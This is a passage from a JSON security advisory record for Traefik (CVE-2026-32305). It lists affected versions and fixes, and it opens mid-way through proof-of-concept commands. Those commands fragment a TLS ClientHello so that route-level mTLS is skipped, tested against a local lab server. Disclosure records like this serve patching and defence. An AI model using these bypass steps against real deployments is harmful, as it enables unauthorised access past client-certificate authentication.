127.0.0.1 \\\n  --port 8443 \\\n  --sni whoami.home.arpa \\\n  --record-size 16384 \\\n  --expect-cert-request \\\n  --client-cert-pem /tmp/traefik-frag-poc/certs/client.crt \\\n  --client-key-pem /tmp/traefik-frag-poc/certs/client.key\n\n# case 2b with openssl instead of my script\nprintf 'GET / HTTP/1.1\\r\\nHost: whoami.home.arpa\\r\\nConnection: close\\r\\n\\r\\n' | \\\nopenssl s_client -connect 127.0.0.1:8443 -servername whoami.home.arpa -tls1_2 \\\n  -cert /tmp/traefik-frag-poc/certs/client.crt \\\n  -key /tmp/traefik-frag-poc/certs/client.key \\\n  -CAfile /tmp/traefik-frag-poc/certs/ca.crt -quiet\n\n# case 3 fragmented ClientHello, no client cert (bypass behavior test)\npython frag_clienthello.py \\\n  --connect-host 127.0.0.1 \\\n  --port 8443 \\\n  --sni whoami.home.arpa \\\n  --record-size 500\n# in the record-size you can play with it as long as the client hello sni sniff function returns an EOF\n```\n\n### Impact\nAn attacker can bypass route-level mTLS enforcement by fragmenting ClientHello so Traefik pre-sniff fails (EOF) and falls back to default permissive TLS config.\n\n</details>\n\n--",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/traefik/traefik/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.7.0-ea.1"
      }, {
        "fixed" : "3.7.0-ea.2"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/traefik/traefik/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.6.11"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.6.10"
    }
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/traefik/traefik/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.11.41"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.11.40"
    }
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/traefik/traefik"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "1.7.34"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/traefik/traefik/security/advisories/GHSA-wvvq-wgcr-9q48"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-32305"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/traefik/traefik"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/traefik/traefik/releases/tag/v2.11.41"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/traefik/traefik/releases/tag/v3.6.11"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-287" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-20T15:43:01Z",
    "nvd_published_at" : "2026-03-20T11:18:02Z"
  }
}